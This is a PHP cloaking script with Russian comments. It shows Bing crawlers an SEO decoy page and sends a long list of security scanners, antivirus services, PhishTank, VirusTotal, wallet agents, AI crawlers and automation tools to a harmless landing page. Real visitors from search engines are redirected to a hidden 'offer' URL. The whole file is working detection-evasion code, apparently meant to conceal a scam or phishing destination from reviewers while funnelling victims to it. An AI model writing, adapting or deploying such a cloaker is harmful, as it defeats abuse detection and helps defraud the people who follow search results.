<?php
require_once __DIR__.'/config.php';

$ua  = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');
$ref = strtolower($_SERVER['HTTP_REFERER'] ?? '');

// === 1. Bing-боты → SEO white page ===
$bing_signs = ['bingbot','adidxbot','bingpreview','msnbot','microsoftpreview','bingvideopreview'];
foreach ($bing_signs as $sign) {
    if (strpos($ua, $sign) !== false) {
        include __DIR__.'/w0conttenntt.php';
        exit;
    }
}

// === 2. Security боты / антивирусы / соцсети / кошельки → landing.php ===
$bad_bots = [
    'googlesafebrowsing','safebrowsing','phishtank','virustotal',
    'avira','kaspersky','norton','mcafee','bitdefender','sophos','comodo',
    'sucuri','malwarebytes','fortinet','drweb','crowdstrike',
    'facebot','facebookexternalhit','twitterbot','telegrambot','whatsapp',
    'slackbot','discordbot','linkedinbot','pinterestbot',
    'metamask','phantom','rabby','trustwallet','coinbase','tronlink',
    'polkadot','subwallet','okx','safepal','bitkeep',
    'googlebot','yandexbot','applebot','duckduckbot',
    'ahrefsbot','semrushbot','dotbot','petalbot','bytespider',
    'gptbot','claudebot','amazonbot','ccbot',
    'headless','lighthouse','selenium','puppeteer','phantomjs',
    'wget/','curl/','python-requests','scrapy','nutch','java/','go-http'
];
foreach ($bad_bots as $b) {
    if (strpos($ua, $b) !== false) {
        include __DIR__.'/landing.php';
        exit;
    }
}

// UA слишком короткий — бот или сканер
if (strlen($ua) < 70) {
    include __DIR__.'/landing.php';
    exit;
}

// === 3. Пришёл с Bing / Baidu / Yahoo / DuckDuckGo (Referer) → оффер ===
if (
    strpos($ref, 'bing.com')       !== false ||
    strpos($ref, 'baidu.com')      !== false ||
    strpos($ref, 'yahoo.com')      !== false ||
    strpos($ref, 'duckduckgo.com') !== false
) {
    header('Location: '.CTA_URL, true, 302);
    exit;
}

// === 4. Все остальные (прямой заход, закладки, etc.) → редирект на www.www ===
$host = $_SERVER['HTTP_HOST'] ?? '';
header('Location: https://www.'.$host, true, 301);
exit;
